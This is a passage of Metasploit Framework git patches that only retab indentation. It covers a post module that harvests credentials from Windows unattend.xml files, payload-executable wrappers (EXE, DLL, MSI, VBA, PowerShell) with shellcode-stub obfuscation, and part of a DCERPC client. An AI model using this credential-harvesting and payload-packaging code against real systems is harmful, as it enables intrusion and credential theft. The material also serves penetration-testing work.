t.header, t.header) + print_status("#{t.header} saved as: #{p}") + end - # - # Save the raw version of unattend.xml - # - def save_raw(xmlpath, data) - return if data.empty? - fname = ::File.basename(xmlpath) - p = store_loot('windows.unattended.raw', 'text/plain', session, data) - print_status("Raw version of #{fname} saved as: #{p}") - end + # + # Save the raw version of unattend.xml + # + def save_raw(xmlpath, data) + return if data.empty? + fname = ::File.basename(xmlpath) + p = store_loot('windows.unattended.raw', 'text/plain', session, data) + print_status("Raw version of #{fname} saved as: #{p}") + end - # - # If we spot a path for the answer file, we should check it out too - # - def get_registry_unattend_path - # HKLM\System\Setup!UnattendFile - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') - fname = key.query_value('Setup!UnattendFile').data - return fname - rescue Rex::Post::Meterpreter::RequestError - return '' - end - end + # + # If we spot a path for the answer file, we should check it out too + # + def get_registry_unattend_path + # HKLM\System\Setup!UnattendFile + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') + fname = key.query_value('Setup!UnattendFile').data + return fname + rescue Rex::Post::Meterpreter::RequestError + return '' + end + end - # - # Initialize all 7 possible paths for the answer file - # - def init_paths - drive = session.fs.file.expand_path("%SystemDrive%") + # + # Initialize all 7 possible paths for the answer file + # + def init_paths + drive = session.fs.file.expand_path("%SystemDrive%") - files = - [ - 'unattend.xml', - 'autounattend.xml' - ] + files = + [ + 'unattend.xml', + 'autounattend.xml' + ] - target_paths = - [ - "#{drive}\\", - "#{drive}\\Windows\\System32\\sysprep\\", - "#{drive}\\Windows\\panther\\", - "#{drive}\\Windows\\Panther\Unattend\\", - "#{drive}\\Windows\\System32\\" - ] + target_paths = + [ + "#{drive}\\", + "#{drive}\\Windows\\System32\\sysprep\\", + "#{drive}\\Windows\\panther\\", + "#{drive}\\Windows\\Panther\Unattend\\", + "#{drive}\\Windows\\System32\\" + ] - paths = [] - target_paths.each do |p| - files.each do |f| - paths << "#{p}#{f}" - end - end + paths = [] + target_paths.each do |p| + files.each do |f| + paths << "#{p}#{f}" + end + end - # If there is one for registry, we add it to the list too - reg_path = get_registry_unattend_path - paths << reg_path if not reg_path.empty? + # If there is one for registry, we add it to the list too + reg_path = get_registry_unattend_path + paths << reg_path if not reg_path.empty? - return paths - end + return paths + end - def run - init_paths.each do |xml_path| - # If unattend.xml doesn't exist, move on to the next one - if not unattend_exists?(xml_path) - vprint_error("#{xml_path} not found") - next - end + def run + init_paths.each do |xml_path| + # If unattend.xml doesn't exist, move on to the next one + if not unattend_exists?(xml_path) + vprint_error("#{xml_path} not found") + next + end - xml, raw = load_unattend(xml_path) - save_raw(xml_path, raw) + xml, raw = load_unattend(xml_path) + save_raw(xml_path, raw) - # XML failed to parse, will not go on from here - return if not xml + # XML failed to parse, will not go on from here + return if not xml - results = Rex::Parser::Unattend.parse(xml) - table = Rex::Parser::Unattend.create_table(results) - table.print unless table.nil? - print_line + results = Rex::Parser::Unattend.parse(xml) + table = Rex::Parser::Unattend.create_table(results) + table.print unless table.nil? + print_line - # Save the data - save_cred_tables(table) if not table.nil? + # Save the data + save_cred_tables(table) if not table.nil? - return if not datastore['GETALL'] - end - end + return if not datastore['GETALL'] + end + end end From 2bd1fb451bbb8351f1c21c9a1c7ff82b396dd9bf Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Thu, 5 Sep 2013 16:16:05 -0500 Subject: [PATCH 031/210] Retab changes for PR #1569 --- lib/msf/core/exploit/exe.rb | 170 ++++++------- lib/msf/util/exe.rb | 480 ++++++++++++++++++------------------ 2 files changed, 325 insertions(+), 325 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index fec4a80500..4c579b76e4 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -9,114 +9,114 @@ module Msf module Exploit::EXE - def initialize(info = {}) - super + def initialize(info = {}) + super - # NOTE: Any new options here should also be dealt with in - # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb - register_advanced_options( - [ - OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), - OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), - OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), - OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), - OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), - OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), - OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), - OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), - OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) - ], self.class) - end + # NOTE: Any new options here should also be dealt with in + # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb + register_advanced_options( + [ + OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), + OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), + OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), + OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), + OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), + OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), + OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), + OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), + OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) + ], self.class) + end - def get_custom_exe(path=nil) - path ||= datastore['EXE::Custom'] - print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") - datastore['DisablePayloadHandler'] = true - file = ::File.open(path,'rb') - exe = file.read(file.stat.size) - file.close - exe - end + def get_custom_exe(path=nil) + path ||= datastore['EXE::Custom'] + print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") + datastore['DisablePayloadHandler'] = true + file = ::File.open(path,'rb') + exe = file.read(file.stat.size) + file.close + exe + end - def generate_payload_exe(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_exe(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - pl = opts[:code] - pl ||= payload.encoded + pl = opts[:code] + pl ||= payload.encoded - # Fall back to x86... - if not opts[:arch] or opts[:arch].length < 1 - opts[:arch] = [ ARCH_X86 ] - end - # Ensure we have an array - if not opts[:arch].kind_of? Array - opts[:arch] = [ opts[:arch] ] - end + # Fall back to x86... + if not opts[:arch] or opts[:arch].length < 1 + opts[:arch] = [ ARCH_X86 ] + end + # Ensure we have an array + if not opts[:arch].kind_of? Array + opts[:arch] = [ opts[:arch] ] + end - # Transform the PlatformList - if (opts[:platform].kind_of? Msf::Module::PlatformList) - opts[:platform] = opts[:platform].platforms - end + # Transform the PlatformList + if (opts[:platform].kind_of? Msf::Module::PlatformList) + opts[:platform] = opts[:platform].platforms + end - exe = Msf::Util::EXE.to_executable(framework, opts[:arch], opts[:platform], pl, opts) - exe_post_generation(opts) - exe - end + exe = Msf::Util::EXE.to_executable(framework, opts[:arch], opts[:platform], pl, opts) + exe_post_generation(opts) + exe + end - def generate_payload_exe_service(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_exe_service(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - # NOTE: Only Windows is supported here. - pl = opts[:code] - pl ||= payload.encoded + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) - else - exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) - end + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) + else + exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) + end - exe_post_generation(opts) - exe - end + exe_post_generation(opts) + exe + end - def generate_payload_dll(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_dll(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - # NOTE: Only Windows is supported here. - pl = opts[:code] - pl ||= payload.encoded + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) - else - dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) - end + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) + else + dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + end - exe_post_generation(opts) - dll - end + exe_post_generation(opts) + dll + end - def generate_payload_msi(opts = {}) - return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + def generate_payload_msi(opts = {}) + return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' - exe = generate_payload_exe(opts) + exe = generate_payload_exe(opts) - opts.merge! ({ - :msi_template => datastore['MSI::Template'], - :msi_template_path => datastore['MSI::Path'], - }) + opts.merge! ({ + :msi_template => datastore['MSI::Template'], + :msi_template_path => datastore['MSI::Path'], + }) - msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) + msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) - return msi - end + return msi + end protected def exe_init_options(opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7b7a00eec6..ec2b2382b6 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -622,63 +622,63 @@ require 'digest/sha1' return pe end - # - # Wraps an executable inside a Windows - # .msi file for auto execution when run - # - def self.to_exe_msi(framework, exe, opts={}) - opts[:msi_template] ||= "template_windows.msi" - return replace_msi_buffer(exe, opts) - end + # + # Wraps an executable inside a Windows + # .msi file for auto execution when run + # + def self.to_exe_msi(framework, exe, opts={}) + opts[:msi_template] ||= "template_windows.msi" + return replace_msi_buffer(exe, opts) + end - def self.replace_msi_buffer(pe, opts) - opts[:msi_template_path] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + def self.replace_msi_buffer(pe, opts) + opts[:msi_template_path] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") - if opts[:msi_template].include?(File::SEPARATOR) - template = opts[:msi_template] - else - template = File.join(opts[:msi_template_path], opts[:msi_template]) - end + if opts[:msi_template].include?(File::SEPARATOR) + template = opts[:msi_template] + else + template = File.join(opts[:msi_template_path], opts[:msi_template]) + end - msi = '' - File.open(template, "rb") { |fd| - msi = fd.read(fd.stat.size) - } + msi = '' + File.open(template, "rb") { |fd| + msi = fd.read(fd.stat.size) + } - section_size = 2**(msi[30..31].unpack('s')[0]) - sector_allocation_table = msi[section_size..section_size*2].unpack('l*') + section_size = 2**(msi[30..31].unpack('s')[0]) + sector_allocation_table = msi[section_size..section_size*2].unpack('l*') - buffer_chain = [] - current_secid = 5 # This is closely coupled with the template provided and ideally - # would be calculated from the dir stream? + buffer_chain = [] + current_secid = 5 # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? - until current_secid == -2 - buffer_chain << current_secid - current_secid = sector_allocation_table[current_secid] - end + until current_secid == -2 + buffer_chain << current_secid + current_secid = sector_allocation_table[current_secid] + end - buffer_size = buffer_chain.length * section_size + buffer_size = buffer_chain.length * section_size - if pe.size > buffer_size - raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" - end + if pe.size > buffer_size + raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" + end - pe_block_start = 0 - pe_block_end = pe_block_start + section_size - 1 + pe_block_start = 0 + pe_block_end = pe_block_start + section_size - 1 - buffer_chain.each do |section| - block_start = section_size * (section + 1) - block_end = block_start + section_size - 1 - pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") - msi[block_start..block_end] = pe_block - pe_block_start = pe_block_end + 1 - pe_block_end += section_size - end + buffer_chain.each do |section| + block_start = section_size * (section + 1) + block_end = block_start + section_size - 1 + pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") + msi[block_start..block_end] = pe_block + pe_block_start = pe_block_end + 1 + pe_block_end += section_size + end - return msi - end + return msi + end - def self.to_osx_arm_macho(framework, code, opts={}) + def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template set_template_default(opts, "template_armle_darwin.bin") @@ -1622,238 +1622,238 @@ def self.to_vba(framework,code,opts={}) pop eax ; Skip popad ; Get our registers back ; sub esp, 44 ; Move stack pointer back past the handler - ^ + ^ - stub_final = %Q^ - get_payload: - call got_payload - payload: - ; Append an arbitrary payload here - ^ + stub_final = %Q^ + get_payload: + call got_payload + payload: + ; Append an arbitrary payload here + ^ - stub_alloc.gsub!('short', '') - stub_alloc.gsub!('byte', '') + stub_alloc.gsub!('short', '') + stub_alloc.gsub!('byte', '') - wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + wrapper = "" + # regs = %W{eax ebx ecx edx esi edi ebp} - cnt_jmp = 0 - cnt_nop = 64 + cnt_jmp = 0 + cnt_nop = 64 - stub_alloc.each_line do |line| - line.gsub!(/;.*/, '') - line.strip! - next if line.empty? + stub_alloc.each_line do |line| + line.gsub!(/;.*/, '') + line.strip! + next if line.empty? - if (cnt_nop > 0 and rand(4) == 0) - wrapper << "nop\n" - cnt_nop -= 1 - end + if (cnt_nop > 0 and rand(4) == 0) + wrapper << "nop\n" + cnt_nop -= 1 + end - if(cnt_nop > 0 and rand(16) == 0) - cnt_nop -= 2 - cnt_jmp += 1 + if(cnt_nop > 0 and rand(16) == 0) + cnt_nop -= 2 + cnt_jmp += 1 - wrapper << "jmp autojump#{cnt_jmp}\n" - 1.upto(rand(8)+1) do - wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" - cnt_nop -= 1 - end - wrapper << "autojump#{cnt_jmp}:\n" - end - wrapper << line + "\n" - end + wrapper << "jmp autojump#{cnt_jmp}\n" + 1.upto(rand(8)+1) do + wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" + cnt_nop -= 1 + end + wrapper << "autojump#{cnt_jmp}:\n" + end + wrapper << line + "\n" + end - #someone who knows how to use metasm please explain the right way to do this. - wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" - wrapper << stub_final + #someone who knows how to use metasm please explain the right way to do this. + wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" + wrapper << stub_final - enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 - res = enc.data + code + enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded + soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 + res = enc.data + code - if which_offset == 'start' - res[soff,4] = [block_offset - (soff + 4)].pack('V') - elsif which_offset == 'end' - res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V') - else - raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' - end - res - end + if which_offset == 'start' + res[soff,4] = [block_offset - (soff + 4)].pack('V') + elsif which_offset == 'end' + res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V') + else + raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' + end + res + end - # - # Generate an executable of a given format suitable for running on the - # architecture/platform pair. - # - # This routine is shared between msfencode, rpc, and payload modules (use - # <payload>) - # - # @param framework [Framework] - # @param arch [String] Architecture for the target format; one of the ARCH_* - # constants - # @param plat [#index] platform - # @param code [String] The shellcode for the resulting executable to run - # @param fmt [String] One of the executable formats as defined in - # {.to_executable_fmt_formats} - # @param exeopts [Hash] Passed directly to the approrpriate method for - # generating an executable for the given +arch+/+plat+ pair. - # @return [String] An executable appropriate for the given - # architecture/platform pair. - # @return [nil] If the format is unrecognized or the arch and plat don't - # make sense together. - def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) - # For backwards compatibility with the way this gets called when - # generating from Msf::Simple::Payload.generate_simple - if arch.kind_of? Array - output = nil - arch.each do |a| - output = to_executable_fmt(framework, a, plat, code, fmt, exeopts) - break if output - end - return output - end + # + # Generate an executable of a given format suitable for running on the + # architecture/platform pair. + # + # This routine is shared between msfencode, rpc, and payload modules (use + # <payload>) + # + # @param framework [Framework] + # @param arch [String] Architecture for the target format; one of the ARCH_* + # constants + # @param plat [#index] platform + # @param code [String] The shellcode for the resulting executable to run + # @param fmt [String] One of the executable formats as defined in + # {.to_executable_fmt_formats} + # @param exeopts [Hash] Passed directly to the approrpriate method for + # generating an executable for the given +arch+/+plat+ pair. + # @return [String] An executable appropriate for the given + # architecture/platform pair. + # @return [nil] If the format is unrecognized or the arch and plat don't + # make sense together. + def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) + # For backwards compatibility with the way this gets called when + # generating from Msf::Simple::Payload.generate_simple + if arch.kind_of? Array + output = nil + arch.each do |a| + output = to_executable_fmt(framework, a, plat, code, fmt, exeopts) + break if output + end + return output + end - case fmt - when 'asp' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_asp(exe, exeopts) + case fmt + when 'asp' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_asp(exe, exeopts) - when 'aspx' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) + when 'aspx' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) - when 'dll' - output = case arch - when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) - end - when 'exe' - output = case arch - when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_X64 then to_win64pe(framework, code, exeopts) - end + when 'dll' + output = case arch + when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) + end + when 'exe' + output = case arch + when ARCH_X86,nil then to_win32pe(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe(framework, code, exeopts) + when ARCH_X64 then to_win64pe(framework, code, exeopts) + end - when 'exe-service' - output = case arch - when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_service(framework, code, exeopts) - when ARCH_X64 then to_win64pe_service(framework, code, exeopts) - end + when 'exe-service' + output = case arch + when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_service(framework, code, exeopts) + when ARCH_X64 then to_win64pe_service(framework, code, exeopts) + end - when 'exe-small' - output = case arch - when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts) - end + when 'exe-small' + output = case arch + when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts) + end - when 'exe-only' - output = case arch - when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch) - when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch) - when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) - end + when 'exe-only' + output = case arch + when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch) + when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch) + when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) + end - when 'msi' - case arch - when ARCH_X86,nil - exe = to_win32pe(framework, code, exeopts) - when ARCH_X86_64,ARCH_X64 - exe = to_win64pe(framework, code, exeopts) - end - output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'msi' + case arch + when ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) - when 'elf' - if (not plat or (plat.index(Msf::Module::Platform::Linux))) - output = case arch - when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts) - when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts) - when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts) - when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts) - when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts) - when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts) - end - elsif(plat and (plat.index(Msf::Module::Platform::BSD))) - output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) - end - elsif(plat and (plat.index(Msf::Module::Platform::Solaris))) - output = case arch - when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts) - end - end + when 'elf' + if (not plat or (plat.index(Msf::Module::Platform::Linux))) + output = case arch + when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts) + when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts) + when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts) + when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts) + when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts) + when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts) + end + elsif(plat and (plat.index(Msf::Module::Platform::BSD))) + output = case arch + when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) + end + elsif(plat and (plat.index(Msf::Module::Platform::Solaris))) + output = case arch + when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts) + end + end - when 'macho' - output = case arch - when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) - when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts) - when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts) - end + when 'macho' + output = case arch + when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) + when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts) + when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts) + end - when 'vba' - output = Msf::Util::EXE.to_vba(framework, code, exeopts) + when 'vba' + output = Msf::Util::EXE.to_vba(framework, code, exeopts) - when 'vba-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_vba(exe) + when 'vba-exe' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_vba(exe) - when 'vbs' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) + when 'vbs' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) - when 'loop-vbs' - exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) + when 'loop-vbs' + exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) - when 'war' - arch ||= [ ARCH_X86 ] - tmp_plat = plat.platforms if plat - tmp_plat ||= Msf::Module::PlatformList.transform('win') - exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) - output = Msf::Util::EXE.to_jsp_war(exe) + when 'war' + arch ||= [ ARCH_X86 ] + tmp_plat = plat.platforms if plat + tmp_plat ||= Msf::Module::PlatformList.transform('win') + exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) + output = Msf::Util::EXE.to_jsp_war(exe) - when 'psh' - output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) + when 'psh' + output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) - when 'psh-net' - output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) + when 'psh-net' + output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) - end + end - output - end + output + end - def self.to_executable_fmt_formats - [ - 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx','war','psh','psh-net','msi' - ] - end + def self.to_executable_fmt_formats + [ + 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', + 'vbs','loop-vbs','asp','aspx','war','psh','psh-net','msi' + ] + end - # - # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR - # - def self.is_eicar_corrupted? - path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com")) - return true if not ::File.exists?(path) + # + # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR + # + def self.is_eicar_corrupted? + path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com")) + return true if not ::File.exists?(path) - begin - data = ::File.read(path) - if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140" - return true - end + begin + data = ::File.read(path) + if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140" + return true + end - rescue ::Exception - return true - end + rescue ::Exception + return true + end - false - end + false + end end end From 8bc83f49228a25a9f554104cffff69dc694c69d9 Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Thu, 5 Sep 2013 16:21:26 -0500 Subject: [PATCH 032/210] Retab changes for PR #1420 --- lib/rex/proto/dcerpc/client.rb | 562 +++++++++--------- lib/rex/proto/dcerpc/packet.rb | 420 ++++++------- lib/rex/proto/dcerpc/wdscp/constants.rb | 130 ++-- lib/rex/proto/dcerpc/wdscp/packet.rb | 120 ++-- .../dcerpc/windows_deployment_services.rb | 358 +++++------ 5 files changed, 795 insertions(+), 795 deletions(-) diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index a11608e923..43cdbe390a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -10,350 +10,350 @@ require 'rex/proto/dcerpc/exceptions' require 'rex/text' require 'rex/proto/smb/exceptions' - attr_accessor :handle, :socket, :options, :last_response, :context, :no_bind, :ispipe, :smb + attr_accessor :handle, :socket, :options, :last_response, :context, :no_bind, :ispipe, :smb - # initialize a DCE/RPC Function Call - def initialize(handle, socket, useroptions = Hash.new) - self.handle = handle - self.socket = socket - self.options = { - 'smb_user' => '', - 'smb_pass' => '', - 'smb_pipeio' => 'rw', - 'smb_name' => nil, - 'read_timeout' => 10, - 'connect_timeout' => 5 - } + # initialize a DCE/RPC Function Call + def initialize(handle, socket, useroptions = Hash.new) + self.handle = handle + self.socket = socket + self.options = { + 'smb_user' => '', + 'smb_pass' => '', + 'smb_pipeio' => 'rw', + 'smb_name' => nil, + 'read_timeout' => 10, + 'connect_timeout' => 5 + } - self.options.merge!(useroptions) + self.options.merge!(useroptions) - # If the caller passed us a smb_client object, use it and - # and skip the connect/login/ipc$ stages of the setup - if (self.options['smb_client']) - self.smb = self.options['smb_client'] - end + # If the caller passed us a smb_client object, use it and + # and skip the connect/login/ipc$ stages of the setup + if (self.options['smb_client']) + self.smb = self.options['smb_client'] + end - # we must have a valid handle, regardless of everything else - raise ArgumentError, 'handle is not a Rex::Proto::DCERPC::Handle' if !self.handle.is_a?(Rex::Proto::DCERPC::Handle) + # we must have a valid handle, regardless of everything else + raise ArgumentError, 'handle is not a Rex::Proto::DCERPC::Handle' if !self.handle.is_a?(Rex::Proto::DCERPC::Handle) - # we do this in case socket needs setup first, ie, socket = nil - if !self.options['no_socketsetup'] - self.socket_check() - end + # we do this in case socket needs setup first, ie, socket = nil + if !self.options['no_socketsetup'] + self.socket_check() + end - raise ArgumentError, 'socket can not read' if !self.socket.respond_to?(:read) - raise ArgumentError, 'socket can not write' if !self.socket.respond_to?(:write) + raise ArgumentError, 'socket can not read' if !self.socket.respond_to?(:read) + raise ArgumentError, 'socket can not write' if !self.socket.respond_to?(:write) - if !self.options['no_autobind'] - self.bind() - end - end + if !self.options['no_autobind'] + self.bind() + end + end - def socket_check() - if self.socket == nil - self.socket_setup() - end + def socket_check() + if self.socket == nil + self.socket_setup() + end - case self.handle.protocol - when 'ncacn_ip_tcp' - if self.socket.type? != 'tcp' - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" - end - when 'ncacn_np' - if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe - self.ispipe = 1 - elsif self.socket.type? == 'tcp' - self.smb_connect() - else - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" - end - # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) - else - raise "Unsupported protocol : #{self.handle.protocol}" - end - end + case self.handle.protocol + when 'ncacn_ip_tcp' + if self.socket.type? != 